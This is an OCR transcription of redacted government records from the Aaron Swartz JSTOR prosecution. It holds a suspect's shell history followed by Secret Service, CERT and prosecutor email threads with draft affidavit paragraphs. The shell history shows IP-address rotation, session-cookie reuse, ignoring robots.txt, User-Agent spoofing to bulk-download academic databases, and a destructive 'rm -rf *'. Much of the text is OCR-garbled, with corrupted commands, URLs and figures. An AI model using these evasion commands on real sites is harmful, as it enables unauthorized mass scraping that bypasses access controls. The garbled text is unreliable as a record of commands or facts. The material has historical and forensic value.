/sbin/ifconfig -a

plng —help | less

ping -1 eth0:1 www.google.com
/sbin/ifconfig -a

/sbin/ifconfig -ajless

suda ifconfig eth0:1 up static 18.55.6.241
/sbin/ifconfig -a

ping -1 eth0:1 www.google.com

ping -1 18.55.6.241 www.google.com

curi -interface ethQ:1 www.google.com
curt —interface eth0:1 www.)stor.org

curl --help | less

/sbin/ifconfig -a

sudo ifconflg eth0:1 up static 18,55.6.252
curl --interface eth0:1 www.jstor.org
sudo Ifconfig eth0:1 up static 18.55.7.240
curt --Interface eth0:1 www jstor.org

curl ~interface eth0:1 www.jstor.org/x
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Is

emacs keepgrabbing.py

¢d tomove/pdfs/

Is | we-l

v * /vol/pdfs

Is

cd..

Is

mkdir umli

<d uml

curl =0 0.html "proquest.umi.com/pgdweb?RQT=305&5Q=PMID{66569)&PageSize=50"
curl -0 0.html "proquest.umi.com/pqdweb?RQAT=305&SQ=PMID(66569)&PageSize=508cfc=1"
more 0.html

curl - proquest.umi.com/pqdweb?RQT=305&5Q=PMID(66569)8PageSize=50
curl 4 "proquest.umi.com/pqdweb?RAT=305&5Q=PMID(66569)&PageSize=50"
curl -H "Cookie: JSESSIONID=f4zWwaqzMRSha" -0 0.htmi
"proquest.umi.com/pgdweb?RQOT=305&5Q=PMID{66569)&FPageSize=50"
mare O.htmi

curl -H "Cookie: JISESSIONID=f4zWwqziMRSha" -0 S0.html
"proguest.umi.com/pqdweb?RQT=305&SQ=PMID(66569 }&PageSize=50&tirstindex=50"
diff -u 0,htmi S0.htmi

macs curlcommands.py

emacs curicommands.py

python curclcommands.py

python curfcommands.py

more curlcommands.sh

rm curicommands.py

emacs curlcommands.py

python curlcommands.py

more curlcommands.sh

bash curlcommands.sh

more 1100

more 1100.htmi}

lynx -dump 1100.html

{inks 1100.htm{

python

cat > saneurl.py

f2

Is /media

fg

mkdir /medla/drive/um)

fg

curl -1 http://proguest.umi.com/pgdweb

g

Is /media/drive/um]

more /media/drive/2073772711.pdf

mare /media/drive/umif2073772711.pdf

more /media/drive/umif2073772711.htni

more /media/drive/umif2073772711.pdf

fg

<d fvol

~fkeepgrabbing.py |
zs [R1F ]

€03J



od..
cd vol

”[keepgrabblng.py
~/keemrabb¥ns Py

cd vol
Is

~/keepgrabbing.py
Is

df -h

pwd

¢d..

od vol

~/keepgrabbing.py

od ../vol

Is

~fkeepgrabbing.py

od /media

is

cd 3a8b9fe1-9¢54-4301-9374-72722d78d3e0/

is

df-h

sudo shutdown now

od /media/de

cd /media/drivef

mkdir Jsindex

sudo mkdir jsindex

sudo chown ghost jsindex

cd Jsindex

python

Is

fg

more 2010/0800.htmi

¢d 1989

Is

cd fvalf

Is

od jsindex/1989

Is

Is-l ] less

ls - | tall

cd ../1990

is <1 { less

python

python Jusr/bin/easy_install

sudo easy_install ~instalt-dir fusr/lib/python?2.6/ pyoat
PYTHONPATR=/usr/lib/python2.6 sudo easy_Install ~install-dir Juss/lib/python2.6/ pyoal
sudo aasy_install --install-dir fusr/lib/python2 6/site-packeges/ pyosi
sudo PYTHONPATH=/usr/lib/python2.6/site-packages easy_install --install-dir /ust/lib/python2.6/site-packages/ pyoai

¢d /usr/loca|flib/python2.6/
5 [RiF |
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cd dist-packages/

Is-a

m*e

sudorm*

sudo rm -rf *

sudo easy_lnstall pyoai
python

Is

python

cd

Is blocks/|wc -l

g

ps ax | grep keep

ps ax | grep ser

fe %1

fg0

g

kill 2137

kilt 2138

ps ax | grep keep

python serveblocks.py 8092
ig

python serveblocks.py 8092
emacs serveblocks.py
python serveblocks.py 8092
emacs serveblocks.py
python serveblocks.py 8092
emacs servablocks.py
python serveblocks.py 8092
emacs serveblocks.py
python serveblocks.py 8092
kil %61

fg

pythan serveblocks.py 8092
kil %1

fg

python serveblocks.py 8092
kifi %1

fg

python serveblocks.py 8092

fg

kill 91

f8

python serveblocks,py 8092
kil %1

fg

python serveblocks.py 8092
kilt %1

fg

emacs serveblocks.py
python serveblacks.py 8092
cd fmedia/drive/

IR 1 F
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P

~/keepgrabbing.py

df -h

df -h|grep sdd; date

du -hsc fvol/*

dm /vol/urlstograb2.wget

rm /vol/urlstograb2.wget

du -hsc fvol/*

bwm-ng

du -hse fvol/*

df -h

df -higrep media

{s blocks|wec -1

Is

emacs oalgrab.py

python -i oaigrab.py

emacs qaigrab.py

python - ocaigrab.py

emacs oaigrab.py

mkdir muse

mv uristograb* muse

python oaigrab.py | tee uristograb.wget

wc -{ urlstograb.wget

emacs oaigrab.py

python -f caigrab.py | tee urlstograb.wget

emacs oaigrab.py

python - oaigrab.py | tee urlstograb.wget

Is

emacs oaigrab.py

fg

emacs oalgrab.py

python - oaigrab.py | tee urlstograb2.wget

fg

cd /vol

wget -x -nv -ac - ~furistograb.wget

more analysis.oxfordjournals,org/content/35/3/97.full.pdf
wget -x -nv -nC -} ~/uristograb.wget

mkdir sd

cd sd

wget -m -np “hitp://veww sciencedirect.com/science/page/sitemap/index.htmi"
wget --headers'User-Agent: WL/6" -m -np "hitp:/{vwww.sclencedirect.com/scien age/siteinap/index.ht
wget --header="User-Agent: WL/6" -m -np "hitp://www sciencedirect.com/science/page/sitemap/index.htmi®
wet -e robots=off --header="User-Agent: WL/6" -m -np

“hite://weaw.sclencedirect.com/science/page/sitemap/index.htm!®
is

cd www,sciencedirect.com/science/page/sitemap/publication/
Is

cd serial/

Is

cd journals/

Is

emacs ~/sls

chmod +x ~/sls [R l F I

£030




S ipe s v

~fsls | less

~/sls. | less

more 17509467.html|

Is 0242648X

Is 0242648X%/24

Is (0242648X/24/3

more 0242648X%/24/3/243 html
python

fg
mkdir fvol/sdfjo
fg

more keepgrabbing.py
cd fvolf

is

mkdir pdfs

sudo mkdir pdfs

sudo chown ghost pdfs
cd pdfs/
~{keepgrabbing.py
cd..
~/keepgrabbing.py

fig

~/keepgrabbing.py
dids

&

python

pwd

Is

cd “fumi

python

fe

python

Is 1000000.htm|

fg

more 128214.html
more 128213

less 128204.htmti

lass /vol/umi/128204.html
links fvolfumi/128204 .htm!
pythen

Is «lh

Is blocks | we -l
python

Is *dbm

[Ri1F ]
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av

fg

Is

more deleteandgrsh
split -a S -} 1000 deleteandgrab blocks/regrabc
is blocks/|we -

¢d blocks/

Is | less

Is | tall

cd ..

fg

Is fmnt

df

is /medla/drive

fg

links hitp://caliber.ycpress.net/dol/pdf/10.1525/25.2010.50.5.835

Is
rm pl-saimela pdf

curl “http://portal.acm.or ateway cfim?id=11874398ype=pdf&CFID=15902 &CFTOKEN=55059171"
curl -i “htig://portal.acm.or/ft gateway.cfm?id=1187439& type=pdf&CFID=15302 R CFTOKEN=55059171"

curl -i "http://portal.acm.ong/ft_gateway.cfmpid=1187439&type=pdf*
curl -1 "hitp://portal.acm ora/ft gateway.cfm?id=1187439&tvpe=pdf” | less

Is

more serveblocks.py
emacs serveblocks.py
more keepgrabbing.py

1s /vol

~/sis fvol umi > umi.sls
more umi.sls

~/sls fvatfuml > umt.sls
~[sls Jvoi/pdfs > pdfs3.sis
Is IR fvol > js3.isIR

more js3.JsIR

Is -IR /vol/ > js3.IsIR

mare |s3.IsiR

w -l js3.IsiR

echo -n me@aaronsw.com|mdSsum
df

ps ax

df

mount /dev/sdc/val

cd fvol

Is

cd /medla/

Is

ts -1

rm drive

sudo rm drive

sudo mkdir drive

sudo mount fdev/sde drive
sudo mount /dev/sde] drive
cd drive

Is

30

[r1F
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df

fd -h

df -h

takdlr pdfs

sudo mkdir pdfs
sudo chown ghost pdfs
Is
~{keepgrabbing.py
cd /media/drive/pdfs
more 3590725, pdf
less 3697690.pdf
lass 30072010.pdf
less 60244678.pdf
less 3523970.pdf
fess 3548593 .pdf
less 3523645.pdf
less 3813153.pdf
less 3838338.pdf
less 3279339.pdf
less 1888323.pdf
Jess 688560.pdf
less 234, pdf*
less 742572.pdf
less 30058803.pdf
jess 202381S.pdf
mare 2023815.pdf
cd
~fkeepgrabbing.py
f8

Is

cd pdfs

Is

df-h

cd fvol/
~fkeepgrabbing.py
cd..

cd vol

~/keepgrabbing.py

(b)(6).(b)7)(C)

(J.S. Secret Service
Boston Field Ofice

(B)(E){bX7XC)

e P e e e

All e-mail to/from this sccount Is subject to officlal review and Is for officlal use anly. Action may be taken In response to any
Inappropriate use of the Secret Service’s e-mall system, This e-mall may contain information that is privileged, law
enforcement sensitive, or subject to other disclosure imitations. Such infarmation ls loanied to you and should not be further
disseminated without the permission of the Secret Service, If you have received this e-mail In error, do not keep, use, disclose,
or copy t; notify the sender immediately and delete it.
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BIE).ENTNC) Wcm)
From: BXB).BN7)C) (80S)

Sent: uesdas b ézou 2:08 PM o)
To: lDQu gge,@(z%cubxe).(b)m(cr Jert.org
Subject: RE: CID/CERT: Fes rom case

Was a report ever finalized for the Swartz exam?

[ExEEXIC ]

U.S, Secret Service
Boston Field Office

(b)(8).{b}7)(C

mml(jb;);(i){j(b)(j7xj%)](cro)
Sent: Wednesday, March 16, 2011 1,30 PM
Tor (BB BN ] (B0

Subject: Re: CID/CERT: Feedback from MIT case

BXOMBNING)

From[®IOLIBINC)__ kBOS)
TdE)E.BYHC)J0)

Sent: Wed Mar 16 13:28:51 2011
Subject: Fw: CID/CERT: Feedback from MIT case

No 8E letter is necessary

(bX8).(bXTXC)

Sent from Blackbemy
From: Stephen (USAMA) [OXO-BXINC)  Jicaoraons )
GG eos)

; Sent; Wed Mar, 16 13:25:45 2011 per EOUSA

Subject: RE: CID/CERT: Feedback from MIT case

|  (bX3)Rule BE,{E)(E)

From{PICLEITHC) |(80S) (maltdBIBLENTIC) Jusss.dhs.aev]
Sent: Wednesday, March 16, 2011 1:13 PM

To: Heymann, Stephen (USAMA)

Subject: Fw: CID/CERT: Feedback from MIT case
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I(b)(s).(b)m(c) |LC|D)

From: [EXET®NCT  }sos)

Sent: TT011 2:06 PM

Tor XS ONTNO - koin)

Subject: RE: CID/CERT: Feedback from MIT case

[(b)8).L)7HC) |
US. Seeret Service
Boston Fleld Office

(b)(8),(bX7)C) |

From{(bX8).(b}(7)_F (CID)
Sent: Wednesday, March 16, 2011 1:30 PM
To:[(b)6).(bXT)C) 80S)

Subject: Re: CID/CERT: Feedback from MIT case

OUNGS (00T

pecial Agen

Secret Service
(B)BY.B)7XC) kDesk)
(Mobile)
412-268-5226 (Fax)

mel(b)(ﬁ).(b)ﬂi(;) kBOS)
T4(b)(6),(bY7)(C) CID)

Sent: Wed Mar 16 13:28:51 2011
Subject: Fw: CID/CERT: Feedback from MIT case

No GE letter is necessary

[®)E).BXTNC) |
Sent from Blackberry

Fro&kgﬁn%m_fit_eghken (USAMA) [(BX(6),(bX7NC) |usdoj.gov>
Yo:{(bX8).(bX7)C) BOS)

Sent: Wed Mar 16 13:25:45 2011
Subject: RE: CID/CERT: Feedback from MIT case

l(‘b?(?s);Rule 6E, (b)(5)

Framd()(8).(b)}7)(C) [BOS) (m
Sent: Wednesday, March 16, 2011 1:13 PM

To: Heymann, Stephen (USAMA)

Subfect: Fw: CID/CERT: Feedback from MIT case
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From: on (USAMABI®LEXTNE) _ Jusdolgov>
T 30(5) " o

Sent: Wed Mar 16 13:25:45 2011
Subject: RE: COID/CERT: Feedback from MIT case CaEnliss ]

(b)(3):Ruie 8E.(b)(5)

From®XELENTXC) ___|BOS) [maitdBIBLEITNCT  Lisss.dhs.gov]
Sent: Wednesday, March 16, 2011 1:13 PM

To: Heymann, Stephen (USAMA)

Subject: Fw: CID/CERT: Feedback from MIT case

Question from CERT

(b)(6) (bX7XC)

Sent from Blackberry

From(P)(8).(bX7}C D)
To{(bX6).(b)(7)(C) (BOS)

Sent: Wed Mar 16 13:10:5) 2011

Subject: CID/CERT: Feodback from MIT case

The guys here have some a report far you. However, thelr supervisor needs to review it before it goes out.

Should we add him to the 6e?

Ris neme is[BYOIE) THe is tidle IBIELEBNINCY ——Jbigital latelligence and lavestigations Directorate. He has the same
address af(b)(6),( [ (D)) |

b Al he is doing is reviewing the report.

Thanks.
(bX6).(bX7HC)
Special Agent

.S. Secret Service
(D)(6).(bX7) [(Desk)
(C) (Mobile)

#412.268-5226 (Fax)

Ali e-mail to/from this account is subject to official review and is for official use only. Action may be taken in
response to any inappropriate usc of the Secret Service's c-mail system. This e-inail may contain information
that is privileged, law enforcement sensitive, or subject to other disclosure limitations. Such information is
Joaned to you and should not be further disseminated without the permission of the Sccret Service. If you have
received this e-mail in error, do not keep, usc, disclose, or copy it; notify the sender immediately and delete

it.

v s s e e

LRSS Ay YA At
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All e-mail toffrom this account is subject to offitlal review and is tor officlal use only. Action may be 3ken in response to any Inappropriate use of the Secret
Servica's e-mall systam. This e-mall may contaln information that Is privileged, law enforcament sensitive, or subject to other dicclosure timitations. Such
inforenation is loaned to you and should not be further disseminated wAthout the permission of the Seeret Service. If you heve recelved this e-mad In esror,
do not keep, use, disclose, or copy it; notify the sender Immedistely and deleteit
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(b)(6),(LX7XC) CID)

From: (b)6).(bX7XC) @cent.org]
Sent: 1110PM
To: 8).(bY7HC) )

Ce: (b)(8),(b)(7)

Subject: o: Fw: Aaran Swarlz

We can do 3:36pm today,[(bX8), | Do you want us to reserve a conference bridge?
If not, just give us the number to call.

on_donday, Julgf 11, 2011 01:08:13 PH(XE).(EXY) |(CID) wrote:

> |(b)(6).{b){ | and |(b)(E).(b
>
> Are you guys available this afternoon? Are there any times that won't work?

v v Vv

»(BUB)(bI7HC)

> Specia en

> U,S. Secret Service
(bY6).(B)7)XC) |{Desk)

{Mobile)

> 412-268-5226 (Fax)
>
> Py n, Stephen (USAMA)|(RXB)(BK7NC) hsdoi, gov>
> To: IO kI
» Cc: 80s ) ; [B)(E).(B)TXC) Jusama)
>|Zbi§t ov>
> Sent: Mon Jul 11 12:57:51 2011

Tt
; Subject: Aaron Swartz per EOUSA
>

>

All e-mail to/from this account is subject to official review and is
for official use only. Action may be taken in response to any
inappropriate use of the Secret Service's e-mail system. This e-mail
may contain information that 1s privileged, law enforcement sensitive,
ar subject to other disclosure limitations. Such informstion is loaned

1

>
>
b4
>
>
>
>
>
>
> Many thanks, Steve
>
>
>
>
>
>
>
>
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> If you have received this e-mail in error, do not keep, use, disclose, or
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(b)(8).(bY7)C) CiD)

From: Kb)(6).(bX7)(C) Beert.org)
Sent: Eddav. July 08 2011 12:18 PM
Eo: (B)(B).(bX7HC) [CiD)
¢ e
Subject: Re: FW. Please confirm with Cert

A couple of nit-picky items:

- Rather than say keepgrabbing2 was very similar to Keepgrabbing, I would say it hes
“distinctive similarities".

- I would say: 'OynDNS 15 a service that permits tying a specific hostname {such as "ghost-
macbook.dyndns-free,.com") to a computer that could have a dynamic or changing IP address
(such as a > home computer on Comcast’s cable network),

(The above states more flatly that DynDNS is a service and gives a more accurate example of a
valid hostname. ]

Best,

: 08, 2011 11:26:43 bXG)(bX7) (CID) wrote:
(b)(6),(b) and [(b—)(e)'(']

> Could you take a look at this and provide some feedback?

v 2 O

>
s|§b2(82.§b27i§C§ ]
Special Agent

v

> Service
> {(OXB).(BX7XC) ] (desk)
> {mobile)
> 412-268-5226 (fax)

b

The information contained in this transmission, including attachments,
1s privileged and confidential. It is intended only for the use of the
individual or entity named above. If the reader of this message is not
the intended recipient, you are hereby notified that any
dissemination, distribution or copy of this communication 1s strictly
prohibited. If you have received this communication in error, please
notify me immediately by replying to this e-mail and delete all copies
of this message and all attachments,

¥V v VYV

From: [(ﬂs),(b)ﬂ)(c) I(BOS)
Sent: Fri 7/8/2011 11:11 AM
To: {(PIB).bU7X( | (C10)

Subject: FW: Please confirm with Cert

Please see below: We are preparing to take the Swartz case to indictment
and Heymann wants to double check that everything 1s exactly accurate.
Do you agree with the paragraphs below?

.1(b¥6),(b)(7)(0) ]
> U.S. Secret Service

S A e AT A
¥ VY VIV V VYV VY VYV Y YVYY

P T
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>
(BXE).(EXT7XC)

i

ffice

>
>
>
>
>
?
?
>
>
>
>
?
b4
>
>
>
?
?
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>

From: Heymann, Stephen (USAMA) [mailto[(b){6).(bX7)(C) lisdod. gov]
Sent: Friday, July 88, 2011 19:50 AM
To:|(b)6).(bX7)C) (805S)

Subject: Please contirm with Cert

Please confirm with Cert, today if at all possible, that our summary
of the facts in these two paragraphs are an accurate summary of their
preliminary findings. Thank you,

From: Heymann, Stephen (USAMA)

Sentr_fnidau._nulx_ag, 2011 10:19 AM
To: [(PX6).OX7XC) usss.dhs.gov'

Subject: Please pull the forensic reports that reflect these facts

26. On February 24, 2011, the Court issued warrants to search
the Acer laptop, Western Digital hard drive and the HP USB drive. As a
result of these searches, I am aware that the MAC address assigned by
the manufacturer to the ethernet interface card on the selzed Acer
laptop 1s 88:23:523:73:5f:fb, the same as the “ghost laptop” which
connected to the MIT network in September, 2018. On the Acer laptop
was a software application entitled “keepgrabbing.py”, which was
designed to download .pdf files from jstor.org.il In addition to
those described in footnote ___, above, JSTOR's terms and conditions
of use explicitly prohibit users from attempting to circumvent
software protactions employed in the ISTOR platform. The
implementation of keepgrabbing.py was designed to avoid JSTOR's
efforts to spot and prevent serial downloads of the size here. The
application would download the .pdf files from ISTOR to a file
directory named “pdfs”. The USB Drive found in Swartz’s backpack
contained a file “keepgrabbing2.py”, with a script very similar to
that contained in the Acer laptop. The Western Digital hard drive,
which was recovered with the Acer laptop, had Aaron Swartz’s
fingerprint on 1t. The drive contained a folder named “pdfs” which contained an estimated

over 97,000 .pdf files. A spot check of approximately a dozen of those files reflected that
each was

?
>

MV VYV V VYV VY VYV

a JISTOR digitized journal article. 27, A logging file on the Acer

laptop, known as the .bash_history file, showed an attempt to submit a

computer or user name “Grace Host” and e-mail address

ghost42@mailinatoc.com to the registration form at

10.72.9.47:444/bin/dynreg. This network address was associated with

guest registration on the MIT network befare the laptop’s seizure in

January, 2011. The .bash_history file also reflects that on an

unknown date the contents of the “pdfs/” directory was copied to a folder named “/vol/pdfs”
an another computer accessed through the DynDNS registered record22

DynONS is a method of tying a specific hostname (such as “ghost

macbook”) to a computer that could have a dynamic or changing IP

address (such as a home computer on Comcast’s cable natwork). for “ghost macbook.
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(b)6).(b)X7XC) CID)
;rom: ;legmar‘\jn.’ Sl%phen (Q'SAMA)[(b)(G).(b)m(C) Pusdo).gov)
ent: riday, Ju 2011 1:23 PM
To: (b)(6).(bY7)C) j80S}) Ibﬂﬁi.ibI?&CE 5010&
Cc: LbX8) (b)7HC) _ kambridgepolice.or SAMA)
Subject: RE. FW: Please confirm with Cert

Thank you, Steve

----- Original Message-----

From:|(b)}8).(bX7)(C) (BQS) [mailtol(b)(s).(b)u)(C) psss.dhs.gov]

Sent; Friday, July 08, 2011 1:86 PM

To: Heymann, Stephen (USAMA);[BYBLIBNDICY  J(uUsAMA);|(bX6).(b) Icambridgepolice.org

Subject: FW: FW: Please confirm with Cert

Please see Below:

A couple of nit-picky items:

1))

[(b)(ﬁ).(b)(7)(0) ]
U.S. Secret Service

Ffice
I(b)(%g.(b)ﬂ)(%)

----- Opiginal Message-----
Frm:“ 8).®UNNC J(CID)
Sent: Friday, July 08, 2011 12:22 PM

To: {(PXS).(BX7NC) (B0s)

Subject: Fw: fW: Please canfirm with Cert

CERT's response.
I(bS(G)-(B)d)(C) |
Special Agent

U.S. Secret Service

(b)(6).(bX7)C) I(DESk)
(Mobile)
<268~ (Fax)

----- Original Message -----

From: CY Pcert.orgy
To:[(b)B).(b)7XC {(CID

Cc {b)BYLIZNC cert.org>

Sent: Fri Jul 08 12:19:16 2011
Subject: Re: FW: Please confirm with Cert
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A couple of nit-picky itenms:

Kulid)

Best,

On Friday, July 08, 2011 11:26:43 AM{(b)8) (B)(7)( ](CID) wrote:
(D00 4 (BT
>

> Could you take a look at this and provide some feedback?
>

>[BXELENTHC) ]

> Specla en

> 5.S. Secret Service
(B)(6).(b)7)CY | {desk)

{mobile)
A412-268-5226 (fax)

AV

v 3L

The information contained in this transmission, including attachments,
is privileged and confidential. It is intended only for the use of the
individual or entity named above. If the reader of this message is not
the intended recipient, you are hereby notified that any
dissemination, distribution or copy of this communlication is strictly
prohibited. If you have received this communication in error, please
notify me fmmediately by replying to this e-mail and delete all copies
of this message and all attachments.

£rom: [(B)(6).(}7)C) ] (80S)

Seat: Fri 7/8/2011 11:11 MM
To:{BXEL.ENNIC] (CID)

Subject: FW: Please confirm with Cert

Please see balow: We are preparing to take the Swartz case to indictment
and Heymann wants to double check that everything 1s exactly accurate.

Do you agree with the paragraphs below?
> I(b)(él.(b)(7)(0 ) ]

> U.S, Secret Service
> Boston Field Office
>{BYELDYTHC) |

VVVVVVVYVYVYVVVVVYVVYVYY

From; Heymann, Stephen (USAMA) [mailto{®)6).(DY7XC)  Lsdaj.gov]

>

>

> Sent; d July 08, 2011 19:50 AM
> To: {(PK6).(bX7XC) k8os)

>

>

b

Subject: Please confirm with Cert

Please confirm with Cert, today if at all possible, that our summary

2
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of the facts in these two paragraphs are an accurate summary of their
preliminary findings. Thank you,

From: Heymann, Stephen (USAMA)

Sent: Friday, July 08, 2811 10:19 AM

To:yEXS)JbX7XC) Lsss.dhs.gov‘

SubJect: Please pull the forensic reports that reflect these facts

26. On February 24, 2011, the Court issued warrants to search
the Acer laptop, Western Digital hard drive and the HP USB drive. As a
result of these searches, I am aware that the MAC address assigned by
the manufacturer to the ethernet interface card on tha selzed Acer
laptop 1s 00:23:5a:73;:5f:fb, the same as the “ghost laptop” which
connected to the MIT network in September, 2010, On the Acer laptop
was a software application entitled “keepgrabbing.py”, which was
designed to download .pdf files from jstor.org.11 In addition teo
those described in footnote ___, above, JSTOR's terms and conditions
of use explicitly prohibit users from attempting to ctircumvent
software protections employed in the JSTOR platform. The
implementation of keepgrabbing.py was designed to avoid 3STOR's
efforts to spot and prevent serial downloads of the size here. The
application would download the .pdf files from JSTOR to a file
directory named “pdfs”. The USB Drive found in Swartz’s backpack
contained a file “keepgrabbing2.py”, with a script very similar to
that contained in the Acer laptop. The Western Digital hard drive,
which was recovered with the Acer laptop, had Aaron Swartz’s
fingerprint on it. The drive contained a folder named "pdfs” which contained an estimated
over 97,000 .pdf files. A spot chack of approximately a dozen of those files reflected that
gach was
> a JSTOR digitized journal article. 27. A logging file on the Acer
laptop, known as the .bash_history file, showed an attempt to submit a
computer or user name “Grace Host” and e-mail address
ghost42@mailinator.com to the registration form at
10.72.0.47:444/bin/dynreg, This network address was associated with
guest registration on the MIT netwerk before the laptop’s selzure in
January, 2011. The ,bash_history file also reflects that on an
unknown date the contents of the “pdfs/” directory was copled to a folder named “/vol/pdfs”
on another computer accessed through the DynONS registered record22
DynDNS 1is a method of tying a specific hostname (such as “ghost
macbook”) to a computer that could have a dynamic or changing IP
address (such as a home computer on Comcast’s cable network)., for “ghost macbeok.

YV VYV VVVYVVVVVVYVVVYVVYVVYVYFVVYyVVVEIYVVVYY

vV ¥ VY VV VV YV VY YV
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(bNBL(BY7XC) CID)

From: Heymann, Slaphen (USAMA)I b)(ﬁ) (BY7HC)  busdoj gov)
Sent: Tuesda Seap ) A

To: (BOS)

Cc:

Subject: RE JSTOR logs and filesystem raccxds

0 e

I’ﬁ?ﬁmu M , thank you, this is super.

can you get the Samsung 332 data to them in the requested format? Or, if that was the
problematic drive, work with them to get the data extracted in that format?

sph
----- ori A B -
From:{(b)(6).(b)X7)(C) i (ma11t{®)ELEXT Jeert org)

Sent: Monday, September 12, 2611 5:48 PM

To: Heymann, Stephen (USAMA ;[(b)(S),(b)(?)(C) kBOS)

Ce:|(bX6)(b)TXC) (CID)
Subject: JSTOR logs and filesystem records
Stephen and

We have taken a look at the filesystem metadata and the transfer logs provided by 1STOR, and
it looks 1like we should be able to correlate filenames and timestamps (assuming no
problematic clock drift issues) quite easily. The log data provided doesn't include a file
size, but that may not be necessary given the other fields we can match.

We are working up a quick program to process the two 1ist formats and perform comparisons for
various criteria, as we discussed. We should be able to wrap that up within a couple of days.

I do have one request: For three of the four storage devices covered in the material sent to
us, there exists a simple plain-text list of all the pdf files on the device and their
associated timestamps. These lists are what we have written an ingestion processor for.
However, for the Samsung-332 we only have a rather unwieldy HTML listing of all the files on
the device. Would it be hard to locate a pdf-only listing in the same format as the others
and send it to us? The lists compress very well.

Still, 1if it is too big for email, you could send it to the CERT secure FTP dropbox. (I think

[(BX5).(e)Jhas @ handy use guide to this, if required.)

gest,

(bXB).(bX7)
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[BX®)-B)7IC) ICID)

From: (b)(6),(bX7)(C) BOS)

Sant: B5day, Septemboer 13, 2011 &

To: ! J(b)(6),(b)7)(C)
Subjact: . JSTOR logs and flesystem records

332 was the drive in which EnCase saw the PDFs as orphaned files but FTK was able to see
recovered them. I will see if there is an better way to extract the data.

{(B)(8),(bX7)(C) |
U.5. Secret Service

Dffice
(b)(6).(0)(7)(C

~~~~~ Original Message-----

From: Heymann, Stephen (USAMA) [mailtd(b)(8)(bN7UC) lsdoi.gov]

Sent: Tuesday, September 13, 2011 7:37 AM

To: {(B)(8),(bX7)C) ] (BOS)
CC:|§b)gB).gbgé7MC% CID)

Subject: RE: ogs and tilesystem records
I‘b"s""“’x“’ , thank you, this is super.

[hI6) |, can you get the Samsung 332 data to them in the requested format? oOr, if that was the
problematic drive, work with them to get the data extracted in that formet?

sph

----- Original Message-~---

From:|{(bX6),(BX7NC) __ J[mailtd(B)E),EHT(krt. argl
Sent: Monday, September 12, 2011 5:48 PM

To: Heymann, Stephen (USAMA) [(b)(6),(BY7)C) X80S)
Ce :[(b)(8) LY7NC) J(cID)

Subject: ISTOR logs and filesystem records

Stephen and|(b)(B),

We have taken a lack at the filesystem metadata and the transfer logs provided by 3ISTOR, and
it looks like we should be able to correlate filenames and timestamps (assuming no
problematic clock drift issues) quite easily. The log data provided doesn‘t include a file
size, but that may not be necessary given the other fields we can match.

We are working up a quick program ta process the two list formats and perform comparisons for
various criteria, as we discussed. We should be able to wrap that up within a couple of days.

I do have one request: For three of the four storage devices covered in the materlal sent to
us, there exists a simple plain-text list of all the pdf files on the device and their
associated timestamps. These 1lists are what we have written an ingestion processor for.
However, for the Samsung-332 we only have a rather unwieldy HTML listing of all the files on
the device. Would it be hard to locate a pdf-only listing in the same format as the others
and send it to us? The lists compress very well.

Still, if it is too big for email, you could send it to the CERT secure FTP dropbox. (I think

B)(5) |has a handy use guide to this, if required.)

1
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(b)(6).EX7XC)

[CID)
From: [BY@).(6)7)(C) l(Bos)
Sent: Wadnsesday, February 18, 2011 2:03 PM
To: 0 SAMAY
Ce: (B)(E)(L)7XC) BOS”(%SLibifiici iiaosr BeLEI7NC) 8Os ENE)N®E]]
b)(6).(b){7 Jambridgapolice orG{(b)(6).(bY7)(C) J(CID
Subject: = Local Rules Letters
Search Team:
ATSAIC{(b)(6).(b)7)(C)
SAl(LX6).(bX7)C)
S
S

All of Boston Fleld Office

And Detectivd(b)X6),(B)(7XC) bf Cambridge Police Department

forensic Team:

Myself and(b)6).(b)

(DY(8).(b)(7)( ht CERT Coardination Center (CERT/CC) at the Software Engineering Institute {SEY), at Carnegle Meflon
University in Pittsburgh, Pennsylvania
The filter examiner has not been chosen yet

BYBIEITNG]
.S. Seeret Service
418 g () .,
NOMBKINCH

From: Heymann, Stephen (USAMA) [mailEXELENTRCT — Jusdol.aoy]
Sent: Wednesday, February 16, 2011 1:55 PM

71(b)(6),(b)(7)(0) !BOS)
Subject: Tocal Rules Lotters

(B)(6),(bX

I"d like to get the local rules Jetters out tomorrow. Can you prioritize getting me the list of names of those
involved In the searches and will be involved in the forensics? Thank you
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Please confirm with Cert, today if at all possible, that our summary of the facts in these two paragraphs are an accurate
summary of their preliminary findings. Thank you.

From: Haymann, Stephen (USAMA)

Sent: Friday, July 08, 2011 10:15 AM
mmm@l- usss.dhs.gov'
Subject: Please pull the forensic reports that reflect these facts

26. On February 24, 2011, the Court issued warrants to search the Acer laptop, Westem Digital hard
drive and the HP USB drive. As a result of these searches, | am aware that the MAC address assigned by the
manufacturer fo the ethernet interface card on the seized Acer laptop is 00:23:5a:73:5f:(b, the same as the
“ghost laptop™ which connected to the MIT network in September, 2010. On the Acer laptop was a sofiware
application entitled “keepgrabbing.py”, which was designed to download .pdf files from jstor.org." In addition
to those described in footnote ___, above, JSTOR's terms and conditions of use explicitly prohibit users from
attempting to circumvent software protections employed in the JSTOR platform. The implementation of
keepgrabbing.py was designed to avoid ISTOR's efforts to spot and prevent serial downloads of the size here.
The application would download the .pdf files from JSTOR to a file directory named “pdfs”. The USB Drive
found in Swartz’s backpack contained a file “keepgrabbing2 py”, with a script very similar to that contained in
the Acer laptop. The Western Digital hard drive, which was recovered with the Acer laptop, had Aaron Swart2’s
fingerprint on it. The drive contained a folder named “pdfs” which contained an estimated over 97,000 .pdf
files. A spot check of approximately a dozen of those files reflected that each was a JSTOR digitized journal
article,

27. A logging file on the Acer laptop, known as the .bash_history file, showed an attempt to submit
a computer or user name “Grace Host” and e-mail address ghost42@mailinator.com to the registration form at
10.72.0.47:444/bin/dynreg. This network address was associated with guest registration on the MIT network
before the laptop’s seizure in January, 2011. The .bash_history file also reflects that on an unknown dage ihe
contents of the “pdfs/” directory was copied to a folder named “/vol/pdfs” on another computer accessed
through the DynDNS registered record” DynDNS is a method of tying a specific hostname (such as “ghost
macbook”) to a computer that could have a dynamic or changing IP address (such as a home computer on
Comcast’s cable network). for “ghost macbook.
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EE T).(blﬂ 8 I (CID)

From: [(EXB).(b)7)(C).Per Ugos)
Sent: Tuesday, May 10, 2011 3:25 PM
zo: He Stephen (USAMA)'
c: ; Lo mbndgepouce.orgi(b)(ﬁ),(b)(?Z(C),Per USSS o)
Subject: anonal Paragraphs for (he Seizufe Warra avi FATECASR
| T
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ZOUsA

(YD)

| emalled bb2IC gnd vt b1Cto confirm this
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EEene |

U.S. Secret Service

Boston Field Offic
|(b)(6)-(b)(7)(0)

